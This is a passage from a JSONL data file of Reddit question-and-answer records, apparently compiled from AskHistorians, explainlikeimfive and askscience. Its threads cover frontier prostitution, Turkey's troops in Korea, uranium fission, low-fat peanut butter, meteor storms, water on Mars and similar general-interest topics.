around if you care to look for them, that gives some evidence that grooming standards weren't all that different from today. \n\n\n\n\n\n", "So would you say that the way prostitution is displayed in most western movies (Unforgiven, Ride the High Country, etc.) is completely innacurate? ", "As a follow up, when did women begin shaving their legs? How far back have we found evidence of this grooming, and was it limited to a certain class? ", "Rather than suggest a book, lemme give you an author: [Lael Morgan](_URL_0_). Ms. Morgan is a wonderful speaker (with a wicked sense of humor) and the author of *[Wanton West: Madams, Money, Murder and the Wild Women of Montana's Frontier](_URL_0_wanton-west.html)* as well as *[Good Time Girls of the Alaska-Yukon Gold Rush](_URL_0_good-time-girls.html)*. Check out both those books if you're interested in the topic.\n\nAs Pierre Berton, the foremost Klondike historian said, \"These women are as important a part of the Klondike story as Big Alex and Swiftwater Bill. After all, they too were gold diggers.\"\n\nWe know the first prostitute who entered the Yukon, because she likely was the first white woman to enter the place, crossing the Chilkoot Pass in 1887. As Morgan writes, relaying the words of Yukon miner John Rogers about \"Dutch Kate\" Wilson: \n\n > \"(he) clearly identified her as 'one of those poor, fallen women who are often found casting their lot with the mining class,' adding with disapproval that 'the poor creature, in order to better enable her to undergo the hardships of the trip, had donned male attire.'\n\n > Yet, to Rogers's bemusement, just before reaching a large, isolated Native village, Kate 'arrayed herself in her finest apparel, powdered her face, and arranged her bangs in her most bewitching style.'\n\n > The Indians had never before gazed upon a pale-faced woman, 'and this apparition of loveliness had an astonishing effect upon the gentle creatures,' Rogers conceded. 'They greeted her with exclamations of delight and the Chief detained her at the boat until the women and children could run to the lodges with armloads of their wild goat wool blankets which they spread for Kate to walk upon the whole distance to the village.'\n\n > Kate had difficulty evading the persistent demands of the old chief, who 'pressed her to share his lodge and the exalted position as chieftain of a great tribe. This unfortunate woman had a series of adventures during the summer that would read like a romance,' Rogers reported, leaving the reader hanging for details.\"\n\nThe status of women in Alaska and the Yukon at this time is one of paradox. On one hand, they were prized, with men paying sums in gold simply for conversation -- let alone sex -- and on the other despised. When \"Dutch Kate\" tried to leave Alaska on a federal steamer at the mouth of the Yukon two years later, she was forbidden passage and left on the beach alone. (She turned out fine; a seal-hunting boat had no qualms about picking her up.)\n\nAs the North developed and the various gold rushes progressed, the business of sex became almost regularized. Some communities, like Seward, for example, fined prostitutes -- but did nothing to stop the prostitution. The fines in many communities became a type of business license. In Fairbanks, Juneau (and later Anchorage), there were red-light districts where the women lived and worked. As late as the 1950s, women worked \"The Line\" in Fairbanks before changing attitudes and a public morality commission demanded the women stop practicing their trade so openly.\n\nIn general, problems were driven primarily from the fact that the trade was outside the law. This allowed disputes over payment, general brawling, pimps and violence to affect the trade. The women were not protected in most cases.\n\nJudge James Wickersham, one of the towering figures of early Alaska, epitomizes the dichotomy. Sent to Nome in 1901 to clean up the town (it had been invaded by unsavory types after Dawson City officials closed their gambling halls and theatres), he routinely fined prostitutes and bawdy house keepers \"a reasonable amount each quarter in vindication of the laws and as an aid to the fund to maintain the police.\"\n\nWickersham later praised \"Russian Rosa,\" a woman attached to a miner who struck it rich:\n\n > \"She is really a remarkable woman. She has tact, taste and great talents. Her power with men is astonishing. ... Highly educated--a linguist--a woman of great physical charms and strength--strong in her natural mental endowments and skilled in the game of the world--she is such a woman as has in times gone by overturned thrones--Cleopatra--Sara Bernhard--Delilah--these are the ingredients that enter into the composition of this Russian Adventuress, who made a fortune in San Francisco as a keeper of an assignation house--and in a year as the wife of one of the magnates of Anvil Creek, gets Nome society by the ears.\"", "As /u/The_Alaskan mentioned, *Good Time Girls of the Alaska-Yukon Gold Rush* is a great book on the subject, a mixture of hilarious anecdotes and heart-wrenching tragedy. \n\nEven though 1896 is much later than we usually think of as \"The Wild West\", it really was in the Yukon Gold Rush.\n\nThe town of [Dawson](_URL_0_) was nearly all men, and had ridiculous amounts of gold being pulled out of the deposits around town. This drew prostitutes to it. The RCMP, however, did its best to keep them out, leading a lot of them to disguise themselves as men to sneak in. \n\nIf you were a miner in town looking to blow some money, you only had a few options, since there were so few women in town - in order of increasing expense, you could 1) watch a raunchy production (after a \"dance troupe\" moved into town) 2) pay a dance-hall girl a dollar a dance to dance with her for one song (roughly one minute), 3) get a prostitute, 4) \"date\" a tobacconist (who were all female, and mostly available), 5) buy a wife (one was bought with her weight in gold).", "I wrote a book on prostitution during the Civil War that will be hitting the shelves next week.  :)  \n\nTitle is: An Evening with Venus: Prostitution During the American Civil War. \n\nThe picture on the cover is actually half of a stereoscope picture.  So in the 1860s, very soon after the invention of the camera, guys were developing 3D porn.  :)  \n\nBigBennP did a very good job of summing up much of this.  My only difference is his prices are possibly a little high for much of the West.  His prices were likely correct for mining towns with high rates of inflation because of so much gold or silver flooding the economy.  Most frontier towns had more of a normal economy so women there charged between fifty cents to the upper classes of women being around five dollars.  That sounds cheap, but if you consider that an army private made $14 a month, the price is pretty reasonable.  \n\nAs far as shaving their legs, no.  Women only started shaving their armpits in the 1920s with the flapper styles of very short sleeves on dresses.  Legs didn't start getting shaved until the 1940s with the short skirts around that time becoming popular.  \n\nOn the sadder aspects of the sex trade: birth control/STDs and depression of being consigned to the sex trade.\n\nCondoms were available, but more often than not they were mail order.  Think about this, most guys today can't remember to pick up a box of condoms while they are at the store (minor degree of pre-planning).  These guys had to place an order by mail that might take a month to reach them (most guys didn't have that much self control to wait).  Also, they were made of sheep's intestines.  Being made of animal cells and able to allow some bacteria and viruses to get through, it was likely hit or miss in terms of preventing STD's anyway.  \n\nIf you did pick up an STD, it was for life since antibiotics to treat them only showed up in the 1940s.  However, the local doc was more than happy to treat you with what he had on hand.  :)  For syphilis- the initial symptom is a small sore somewhere on your genitals.  It was thought at the time that if a doc could catch it, and BURN off the sore, you would not develop syphilis.  Unfortunately, you would (the sore goes away on its own, but the incubation period for syphilis can be months to years so it looked like the doc caught it).     ---When the patient later developed actual syphilis, the doc would proscribe mercury as treatment, but would back off once your teeth started loosening in your gums.  The mercury did nothing to cure syphilis. \n\nNow, if you get gonorrhea, (women don't usually have symptoms, but guys do).  Guys, it will feel like you are urinating fire.  Treatment here was to take a syringe with a very long hollow tube, insert that into your urethra and inject silver nitrate.  Burned like crazy and thought to cure it.  The reason that docs thought it worked, is because the silver nitrate basically burned out all of the nerve endings in the urethra, so it no longer feels like the patient is peeing fire (still very much a carrier though).  \n\nIf the sex worker got pregnant, there were a variety of home made abortifacients that would terminate the pregnancy.  Basically, these were toxic mixtures that would cause the woman to miscarry.  I've never looked up any of the recipes though.  They didn't always work and sometimes the women would have children at the brothel.  At Miss Hattie's Brothel Museum in San Angelo, TX, one of the rooms has a child's bed that belonged to one of the women there.\n\nWith STD's, risks of pregnancy, risks of assault and murder, as well as the realization that this was not a long term career (as a sex worker gets older, they often get pushed out of the market by younger women that are able to demand more money, so the older women charge less and less), the job was pretty bleak.  Many of the women turned to drugs as a means to cope with their lives.  The drug of choice was laudanum.  This was opium mixed with alcohol.  Evidently this stuff is pretty addictive and at times an overdose was pretty possible.  \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1rxiud/where_did_prostitutes_in_the_old_west_boom_towns/"], ["http://www.amazon.com/Whores-History-Prostitution-Western-Society/dp/0586200290/ref=sr_1_3?ie=UTF8&amp;qid=1411436292&amp;sr=8-3&amp;keywords=history+of+prostitution", "http://www.amazon.com/Upstairs-Girls-Prostitution-American-West/dp/1560373571/ref=pd_sim_b_1?ie=UTF8&amp;refRID=11BTYPKY649T4H4NJT85"], [], [], ["http://laelwarrenmorgan.com/", "http://laelwarrenmorgan.com/good-time-girls.html", "http://laelwarrenmorgan.com/wanton-west.html"], ["http://en.wikipedia.org/wiki/Dawson_City"], []]}
{"q_id": "3hehop", "title": "The Republic of Turkey sent 15,000 men to fight in the Korean War, making up the third largest United Nation force after the US and UK. Why did Turkey send so many troops to such a distant war?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3hehop/the_republic_of_turkey_sent_15000_men_to_fight_in/", "answers": {"a_id": ["cu6ts9u", "cu6wx9c", "cu6xpoe", "cu70ej6"], "score": [89, 59, 1526, 5], "text": ["A reminder for everyone:\n\nWe ask that answers in this subreddit be in-depth and comprehensive, and highly suggest that comments include citations for the information. In the future, please take the time to better familiarize yourself with [the rules](_URL_0_), and take these key points into account before crafting an answer:\n\n* Do I have the expertise needed to answer this question?\n* Have I done research on this question?\n* Can I cite my sources?\n* Can I answer follow-up questions?\n\nThank you!", "I actually came into the sub to ask a related question, so I hope I can piggyback here: In [this /r/HistoryPorn thread](_URL_0_), one user asserts that \"the Turks fought like mother fuckers\", while another retorts that \"the only useful thing they did was capture retreating ROK infantry\" in the belief that they were North Korean.\n\nThe Wikipedia page on the Turkish brigade in Korea suggests that there is controversy over the performance of the Turks in Korea, with some claiming that they were under-trained and under-equipped, commanded by a Gallipoli veteran and only got the positive attention they did because their moustachioed soldiers looked the part of the seasoned warrior; others point to the Presidential Unit Citation and various contemporary accounts of their bravery and key role in certain actions. \n\nSo the question (which I apologise for approaching in such a roundabout way) is, what's the straight dope on the Turkish Brigade? A useful military force or a propaganda coup to remind everyone that it was a UN not just a US action?", "To elaborate a bit on what /u/TheBaris said: Turkey was in a weird position. The Ottoman Empire was a world power during its heyday and when the empire collapsed, it collapsed *hard.* In the chaos that followed, and the ill-advised attempts to partition the old Ottoman heartlands, the Turks found themselves fighting half their neighbors: Greeks in the west, French in the south, Armenians in the east, and various skirmishes with the Brits. Constantinople, the Ottoman capital since Mehmed II captured in 1453, was occupied. It was pretty much chaos. And Turkey was somewhat fortunate that the Russians were too busy fighting their own civil war to meddle in it. \n\nTurkey eventually won, obviously. But the important thing isn't the battles or the casualty figures: it's the fact that Turkey was fighting the Entente. The men who came to the forefront of Turkish politics in this period -- Ataturk, Karabekir, Cebesoy, Inonu -- were fighters. Many of them fought in the Balkan Wars, most of them fought in WWI (Yazici, who would go on to command in Korea, fought at Gallipoli), and many of the men who would go on to hold high posts in Turkey (President, Prime Minister, Speaker) served some military role. \n\nAnd then, while Turkey is still trying to find its place in the world (especially after the chaos that was WWII), it holds open elections and for the first time ever the government is dominated by men who didn't fight in one war or another. Bayar was elected in 1950 and the closest thing he had to military experience was as a young political radical (he would remain in office until the 1960 coup). His Prime Minister (who shared his long tenure), Menderes, similarly had no military experience. Koraltan, Speaker of the National Assembly over the same period, was in the same boat. As you can probably imagine, shifting from a government that was led primarily by former military officers or the politicians who worked with them to a government comprised almost exclusively of men who had never seen combat represented quite a shift in Turkish politics. \n\nWhile all of this was happening on the domestic front, Turkish foreign policy was changing, too. Early in the republics history, it had committed to a policy of neutrality: it wanted no part of any alliances. Turkey and (most of) the great powers sat down and figured out what to do with the Bosporus and Dardanelles, leading to the [Montreux Convention](_URL_1_), which imposed all sorts of military restrictions on transiting those waters. Everything seemed all hunky-dory and then WWII happened. When the dust settled and the Soviets were triumphant, they suddenly had an enormous military advantage over Turkey. In 1945, the treaty of friendship between the two countries expired and was not renewed. In 1946, the Soviets sent two letters suggesting Turkey agree to \"alter\" the Montreux Convention by making the Soviets a guarantor of the treaty (which, in diplomacy-speak, means a permanent Soviet military presence in the area) and, while they were at it, the Soviets [they wanted land, too](_URL_2_). You can read a bit more about it [here](_URL_3_), which the relevant parts being around page 44 on (in the pdf reader; the pdf pages say it's page 27). \n\nIn the face of Soviet demands, the Turks really three options: capitulate and effectively become a satellite state, stand alone and [risk invasion](_URL_0_), or go to America. So the Turks went to America. As it happened, America was in the process of forming NATO, which would come into existence in 1949. To America, Turkey wanting in was a wonderful boon. Control over the straits, even if through an ally, was effectively a lever against the Soviets. \n\nAs an aside, it's probably worth noting that Turkey also hosted nuclear-tipped missiles from 1959 until 1963. If those dates seem odd to anyone, they may be interested in knowing that the Cuban Missile Crisis was in 1962. If that seems an odd coincidence, it's because it wasn't. The Soviets pulled their missiles out of Cuba [because America agreed to pull their missiles out of Turkey](_URL_4_), not because they were intimidated. It makes you wonder if the Soviets sent missiles to Cuba solely to get them out of Turkey. But I digress.\n\nSo when the Korean War broke out, Turkey had an opportunity: by sending troops there, it could achieve two objectives: it gave Turkey the opportunity to prove its commitment to America (and thus effectively guaranteeing NATO membership) and simultaneously align itself very publicly against the Soviets. It effectively sent a message that Turkey wasn't going to be bullied into accepting an unfair treaty by the Soviets and that, if the Soviets forced the issue, that Turkey would have friends that would help them. It would take until 1952 to finalize, but Turkey was effectively under NATO's aegis from 1950 on. 15,000 men sent to Korea was a small price to pay for that security. \n\nEdit: gold? wat? :D", "Did the US augment the pay rate for these troops - bringing it up (I am assuming) to the same level as US troops.  This could add up to a significant economic influx for Turkey as well as for other countries sending troops.  The US dollar was king back then..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_write_an_in-depth_answer"], ["https://www.reddit.com/r/HistoryPorn/comments/3hc34b/a_wounded_turkish_soldier_kisses_the_hand_of/"], ["https://c1.staticflickr.com/9/8331/8114035939_6aab333d66_b.jpg", "https://en.wikisource.org/wiki/Montreux_Convention", "https://upload.wikimedia.org/wikipedia/commons/0/02/Soviet_claims_to_Turkey_in_1945-1953.png", "http://www.dtic.mil/dtic/tr/fulltext/u2/a496759.pdf", "http://nsarchive.gwu.edu/nsa/cuba_mis_cri/moment.htm"], []]}
{"q_id": "9b4qt5", "title": "if you can get a nuclear explosion by striking a uranium 235 nucleus, why can't you get a nuclear explosion by striking any other element's nucleus?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9b4qt5/eli5_if_you_can_get_a_nuclear_explosion_by/", "answers": {"a_id": ["e50czxn", "e50q969", "e516gxq"], "score": [27, 10, 4], "text": ["The unique thing about U235 is that, when it is struck by a neutron, it splits and gives off multiple neutrons as part of the process of splitting. This means that one nucleus splitting can induce others nearby to split.\n\nNot all nuclear reactions are like that. ", "There are four major forces in the universe (modern physics calls them \"interactions,\" but to hell with that):\n\n* Strong nuclear force.  This force attracts large subatomic particles, namely protons and neutrons to each other.  It only works at EXTREMELY short range, but it's HUGELY powerful.\n\n* Weak nuclear force.  I don't even understand what this is, but it has to do with what goes on inside things like protons and neutrons.  Also very short-ranged.\n\n* Electromagnetic: You're probably much more familiar with this one.  Electrical charges, magnetism, etc.  Can act over a long distance, but it can dissipate quite a lot over that distance.\n\n* Gravity:  Pretty self-explanatory. Anything with mass is going to be attracted to anything else with mass. This is by FAR the weakest of the forces (every time you jump, you are successfully, albeit momentarily, fighting a planet's worth of gravity), but it can act over essentially unlimited distance.  At anything but large scales, you can safely ignore it for many purposes.\n\nPretty much everything that happens in the universe can be explained in terms of one or more of these forces. Physicists have found that the weak nuclear force and the electromagnetic force are actually two aspects of the same thing, but they only unify at very high temperatures and pressures (like the center of a star, to begin with, and even that probably isn't high enough).\n\nSo, why uranium, not something else?\n\nRemember the strong nuclear force?  It's EXTREMELY strong.  How strong?  It can overcome the mutual repulsion between positively-charged protons (electromagnetic force, remember) and hold them together.  Next time you're walking near a wall, perform an experiment and try to walk through the wall.  The electromagnetic force is what prevents you from doing so, but the strong nuclear force can overcome it.\n\nBut again, it only works at really, really, really, ***REALLY*** close ranges, and its power falls off very quickly.  It's so short-ranged that the protons and neutrons in a VERY big nucleus actually feel it quite a lot less than the protons and neutrons in a much smaller nucleus.  Think about that.  The strong nuclear force is so short-ranged that the particles on opposite sides of a very large nucleus are far enough apart that electromagnetism can start to have an effect on them that meaningfully competes with the strong nuclear force.\n\nThe strong nuclear force's grip on the nucleons (fancy name for protons and neutrons (and anti-protons, I suppose)) of the uranium atom is tenuous enough that if you smack it hard enough, a big chunk of nucleons may just fall off, and this will release a bit of energy, as well as some free neutrons.  Hell, it's tenuous enough that occasionally, something will just fall off all by itself.  This (as well as some black magic provided by the weak nuclear force) is why uranium is radioactive.\n\nI hope I made some sense.  This is an imperfect explanation and I deliberately left some things out for the sake of simplicity.", "U-235 is _fissile_. This means it can be easily split by neutrons and releases neutrons after being split. So with the right number of fissile atoms in the right configuration, you can create a chain reaction \u2014 trillions of atoms split in less than a second. That is what makes the explosion.\n\nThere are only three types of atoms that are both _fissile_ and can be produced in large amounts. U-235 is one, but Plutonium-239 (which is made in nuclear reactors) is another. U-233 could also be used (it is also made in reactors that use thorium as fuel). There are a few others but they are all much harder to produce than these three, hence they aren't used in weapons.\n\nOther forms of uranium don't satisfy the definition of being fissile. For example, U-238 cannot be easily split by neutrons of the same energy that are release by fission reactions. They _can_ be split by neutrons of very high energy (like the kind produced by fusion reactions). So we would say that U-238 is fissionable but not fissile. This is relevant in weapons design: you can use U-238 as a \"jacket\" around a fusion weapon, and it'll release a lot of energy, but without a fusion reaction, it won't release anything, and in any case it will not be a chain reaction (the U-238 will not split more U-238).\n\nThe big misconceptions in this thread are people saying that you can split anything and create an explosion, or that the reason U-235 works is because it releases a lot of neutrons. The key to making an explosion is the chain reaction: lots of splitting creating lots of more splitting. The reason U-235 (and Pu-239, and U-233) can do this is because they split relatively easily from the kind of neutrons that they release while splitting. In other words, U-235 splitting can split U-235, which allows for a massive reaction. It's not the number of neutrons released that is unique about U-235 (all heavy elements release a lot of neutrons), it's the fact that it is easily split by the neutrons that are released."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bi0h6g", "title": "how do they reduce fat in things like peanut butter?", "selftext": "Is there a low fat peanut? Is there a fat removal machine that I need to step into somewhere?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bi0h6g/eli5_how_do_they_reduce_fat_in_things_like_peanut/", "answers": {"a_id": ["elx23zd", "elx7aoh", "elxu4r9", "elxug3m", "ely4gu8", "elycjhd"], "score": [1155, 209, 4, 17, 2, 7], "text": ["Peanut butter normally has added oil. To reduce the fat, you don't add the oil. To further reduce the fat, you spin it (in a centrifuge) so the lightest part\u2014the peanuts' own oil\u2014floats to the top, and then pour it off.", "Jiff low fat peanut butter replaces oil (needed to keep the butter spreadable) with corn syrup, and replaces some of the peanuts with nearly fat free pea protein. It's 60 percent peanuts! Good enough for government work.", "Have you never seen peanut butter separate with the oil on top?", "Generally speaking they create the product by substituting other nonfat ingredients for the fat, for example low fat peanut butter can have corn surup instead of fat, which can have roughly the same texture.  Ingredients like inulin (not insulin) are a naturally occurring food fiber that has few calories but gives the feeling of being full and can also substitute for fat, this is often used in nut-flavored bars.  These substitutions are not necessarily good for you and the fat that occurs in peanut butter is not necessarily bad for you, but many consumers will buy anything labeled \"low fat\" or \"reduced fat\" and think it is better for you, and as long as there is a market for it, food producers will produce it.", "Some commercial peanut butter may have added oils though there is no reason to add oil to freshly ground peanuts.  Many commercial peanut butters have added sugar.\n\nPeanuts have a high fat content.  Peanut butter has a high fat content.  Low fat peanut butter often contains added sugar to enhance the flavor, usually high fructose corn sugars.\n\nSome markets (*WinCo in my area*) have machines in their bulk produce section to turn whole peanuts into freshly ground peanut butter.  This type of peanut butter may separate into an oil layer that can be stirred back into the mixture.  The user can control the smoothness of the mixture by removing a portion of the oil before stirring it back in.\n\nI question the claim that peanut butter is made by adding oils to the residue from peanut oil extraction.  It would be much cheaper to stop the extraction process while the ground peanuts are still at a useful consistency.  It is my understanding that peanuts from which the majority of the oil has been extracted are used as animal feed.", "Good god, so much disinformation here.  I used to work for the company that made Skippy peanut butter.  In the US, peanut butter has a standard of identity that says that peanut butter has to have at least 90% peanuts, can have sugar and/or honey, salt, and partially hydrogenated vegetable oil for stability (prevents oil separation).\n\nReduced fat has only 60% peanuts, so the natural fat in the other 30% of peanuts is gone from the product.  It is replaced by a lot of stuff that makes texture and flavor palatable (arguably).  Overall, the fat is reduced.  The fat in the peanut is the same, just fewer peanuts in the jar."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "13asou", "title": "Can we predict when the next meteor storm will be?", "selftext": "I was reading that about every 33 years the Leonids Meteor shower will appear to \"storm.\" I pulled the dates of these storms off wiki The last Leonid storms were in 1999, 2001 (two), and 2002 (two). Before that, there were storms in 1767, 1799, 1833, 1866, 1867, and 1966. \nSo it looks like the 33 years doesn't hold up here after 1999. Is it possible that it \"storms\" this weekend or would we already be able to predict that?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13asou/can_we_predict_when_the_next_meteor_storm_will_be/", "answers": {"a_id": ["c72hk5l"], "score": [2], "text": ["Meteor outbursts occur when the Earth passes through a relatively fresh stream of cometary matter.\n\nThe Leonids are the result of the Earth's orbit intersecting the orbit of the comet [55P/Tempel\u2013Tuttle](_URL_1_) near its perihelion.  \n\nThis comet's orbital period is 33 years, so every 33 years it spews out cometary debris which more or less stays in the comet's orbit.  Over thousands of years, this process builds a sort of \"clumpy ring\" along the comet's orbit.\n\nWhen these clumps of debris travel along the path of the comet they are perturbed by the gravity of other planetary bodies, making it difficult to accurately predict exactly how dense the portion of the comet's orbit is at the time Earth intersects it.  However, we are able to predict when some of the more recently (~1 kya) ejected \"clumps\" will intersect Earth's orbit fairly accurately.\n\n[This](_URL_0_) is a pretty good resource on comets and meteor streams (starting on p.66)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ia700308.us.archive.org/29/items/cometsandmeteors033009mbp/cometsandmeteors033009mbp.pdf", "http://en.wikipedia.org/wiki/55P/Tempel%E2%80%93Tuttle"]]}
{"q_id": "6pq8ad", "title": "Was there controversy when American Presidents started making announcements on television?", "selftext": "Seems like it's pretty normal now for Presidents to make announcements on TV. Before television was as ubiquitous as it is today, how were Presidential announcements released? Newspaper? Was the transition controversial?\n\nEDIT: Other transitions, such as radio, are included in the scope of this question. I use TV as an example. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6pq8ad/was_there_controversy_when_american_presidents/", "answers": {"a_id": ["dkryxkf", "dks6pis"], "score": [18, 6], "text": ["Same question, but with other communication mediums. Was the move to using radio for such announcements controversial. Etc. ", "Follow up question - did newspapers/radio stations lobby against television announcements during this time of transition?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ghgec", "title": "why songwriters and artists tend to put their most popular song(s) two or three tracks into the album?", "selftext": "It seems like songwriters always put their most popular song three or four tracks into an album. If they wanted listeners to hear their less well known songs, why not put your \"hit\" at the end of the album? Why third?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ghgec/eli5why_songwriters_and_artists_tend_to_put_their/", "answers": {"a_id": ["cakajgz", "cakb4wr", "cakcfnm"], "score": [6, 18, 5], "text": ["People are more likely to listen to the album from the beginning that way, since the song they want to hear is only a few tracks in. The hope is they will think \"hey these songs are pretty good too\". If the hit were say the last song, that's a whole album they have to listen to before they hear the song they really want to hear. This applies especially to fans who buy albums after only hearing the one hit song. I'm not much of a wordsmith so if this is jumbled and hard to understand I apologize.", "You're putting the cart before the horse.  The album is made with hopes that some of the songs on it become popular.  Now assuming they know which ones are more likely to be popular or 'hits' they might put them more in the middle to entice people to listen to the whole thing.  Sort of 'I'll listen to the ones before the hit, to see if they're any good.  Oh, here's the hit, wonder if the rest are any good?'.  Keep in mind, when vinyl or tape was king people tended to listen to the whole thing.  With CD's and onward, people skip around so it doesn't matter like it used to.", "My dad told me it was because back in the vinyl days, albums would have 3/4 tracks per side, so they put the single near the end of side A to make you listen to the whole thing. Is it true? Why would this carry over to skippable formats like CD and mp3? Its a mystery!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2v2xpq", "title": "On Mars or Earth's moon, would poured water freeze or boil?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2v2xpq/on_mars_or_earths_moon_would_poured_water_freeze/", "answers": {"a_id": ["coe2162"], "score": [81], "text": ["**Short answer:** On the moon, it would vaporize. On Mars, it would also vaporize, but there's some cool stuff you could do at the right elevations.\n\n**Longer answer:** The phase of water is determined most simply by the temperature *and* the pressure. When air pressure goes up or down, so too does the boiling point and freezing points of water. In fact, if you've ever lived in a high altitude city you might have noticed this. \n\nAnyway, the phase diagram for water [looks like this.](_URL_0_) So let's assume we have liquid water at room temperature, which is about 300 Kelvin. Let's also assume we're on the moon. So let's take the lid off our water and pour it out. Since the moon has no atmosphere, or negligibly small one, just assume the pressure is zero. Since this fluid water is very hot, but now doesn't have any air pressure keeping it liquid, it should rapidly boil and evaporate into vapor.\n\nSimilarly, on Mars, the atmosphere pressure is about 600 Pascals, which is about 0.6% of earth's atmospheric pressure at sea level. Once again, we can just read off our handy dandy chart what water will do at 600 Pascals at 300 K, and you'll see we fall in vapor territory again. \n\nYou'll notice that on Mars though, we're very close to what's labeled as the 'triple point' on the phase diagram. This is the point where all three phases coexist. You could take a vessel with liquid water, ice, and water vapor, and the water wouldn't freeze, the ice wouldn't melt, the vapor wouldn't all condense out, etc. All three phases can happily coexist in the same place. Mars is cold though, but with a proper heat source you could get a vessel of water to contain all 3 phases, simultaneously, indefinitely. \n\nIn fact, if you look closely again at the phase diagram, if you were to go to the lowest elevations of Mars where you'd expect the highest air pressure, your water might stay liquid when you pour, at least until it freezes in the harsh Martian cold. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/0/08/Phase_diagram_of_water.svg"]]}
{"q_id": "2j4xrd", "title": "How are those giant +1000 lb. pumpkins grown?", "selftext": "[Annual pumpkin growing contests](_URL_0_) happen around the world, but how is this done? What keeps them growing and not staying small like the ones you see at a pumpkin patch?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2j4xrd/how_are_those_giant_1000_lb_pumpkins_grown/", "answers": {"a_id": ["cl8foxv", "cl8hzmh", "cl8p5m9", "cl94sa4"], "score": [11, 15, 9, 5], "text": ["There was a [NY Times article from a few years ago on this](_URL_0_).\n\n >  With the right seeds and soil preparations, veterans say, it\u2019s fairly easy to grow an impressively large pumpkin. But the hobby\u2019s elite, while still amateurs, operate on a different playing field. These growers spend hundreds of dollars on laboratory analyses of soil and plant tissues to help them decide whether to add more nitrogen, say, or calcium. And they speed photosynthesis by spraying their plants\u2019 leaves with carbon dioxide.\n\nThey don't appear to mention if it's a particular variety/breed of pumpkin, but it appears to be mostly a matter of an artificially large amount of nutrients.", "In surprised about the claim of inventing grafting. I had a neighbor (now deceased) who, in his 70's, maybe 20 years ago, described grafting multiple vines to grow one huge pumpkin. He said he started in the 4H club when he was 14. Seeing his garden made me believe him.\n\nAnother neighbor, 4-5 years ago grew giant pumpkins from special seeds, got up to around 300# pumpkins.", "One technique I've heard about is employing greenhouses to grow vegetables [inside the Arctic Circle](_URL_0_). By planting at the start of summer, they can take advantage of months of near-continuous sunlight to grow extraordinarily large specimens.", "I'd like to know how edible these huge pumpkins are. Do they taste the same as a regular pumpkin, or does the large size mean that there's more fibrous tissue inside to hold up the structure or more watery, or more bland, or whatever.\n\nHas anyone tasted giant vegetables, and if so how do they compare to their regular sized versions?"]}, "title_urls": [], "selftext_urls": ["http://www.nbcbayarea.com/news/local/Pumpkin-Weigh-Off-Contest-Half-Moon-Bay-Contest-279011761.html"], "answers_urls": [["http://www.nytimes.com/2011/10/06/garden/the-race-to-grow-the-one-ton-pumpkin.html?pagewanted=all&amp;_r=0"], [], ["http://photoblog.nbcnews.com/_news/2011/08/31/7540693-giant-pumpkin-grower-looks-to-break-alaska-and-world-records"], []]}
{"q_id": "35mk37", "title": "why cats only move their heads to look, instead of their eyes, like humans or some dogs?", "selftext": "I only noticed it today when I was playing with a feather toy hanging from a string - moving it back and forth. \n\nHumans would only move their eyes to follow it, but cats use their entire head and neck ... Why is that?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35mk37/eli5_why_cats_only_move_their_heads_to_look/", "answers": {"a_id": ["cr5s1wl", "cr5s1x9"], "score": [4, 2], "text": ["In most cases and when the motion's big enough, humans wouldn't.\n\nWatch the gallery in any tennis match youtube video as an example. People could easily use just their eyes to track the ball, but they turn their heads to follow it. \n\nThe eyes are used for finer movements like following a sentence that you're texting from a character to the next (try it) or small rapid movements like a single finger wagging around. But the default motion for something larger like your whole hand waggling around (try that too) is to use your neck to turn your head so you're facing the target, and then your eyes will twitch to fine-tune where you're looking. ", "My first guess would be because that's what predators do. They use stereoscopic depth perception to accurately track whatever it is they're about to attack. They could also lack the muscle control to move their eyeballs around freely as we do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a793v9", "title": "if air is a mixture of elements, why don\u2019t they sort themselves out by weight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a793v9/eli5_if_air_is_a_mixture_of_elements_why_dont/", "answers": {"a_id": ["ec17k9t", "ec17khf", "ec1c2zi", "ec1qh4n"], "score": [3, 3, 17, 7], "text": ["They kind of do. That's why you have a lower percentage of oxygen in higher regions. But the air is constantly moving due to temperature and pressure differences etc. And the differences between most gases are fairly small, so the seperation isn't that huge. ", "About 90 percent of air consists of N2 and O2 which don't have a high weight difference, also the air is constantly being mixed. It's not like it's standing still. ", "generally speaking it does, but the atmostphere around you doesn't sit still long enough to fully settle.\n\nthink of the atmosphere like one of those fancy bottles filled with water and oil with various food colourings. if nothing were to happen to it eventually we would see it settle out into the various sections of liquid.\n\nexcept the earth is kind of never sitting still. there's someone shining a really big heater on it from one side making different parts of the liquid heat up/ cool down at different times. you've also got the bottle on a wonky turn table; the bottle is spinning AND wobbling side to side. \n\nthere's not quite enough energy from our crazy partly heated spinning/rocking bottle of goop to make the liquids or the bottle fly away but there's enough to keep it really mixed up rather than settling perfectly :)\n\nadmittedly this explanation doesn't work perfectly because the bottle is closed and doesn't generate it's own gravity but you get 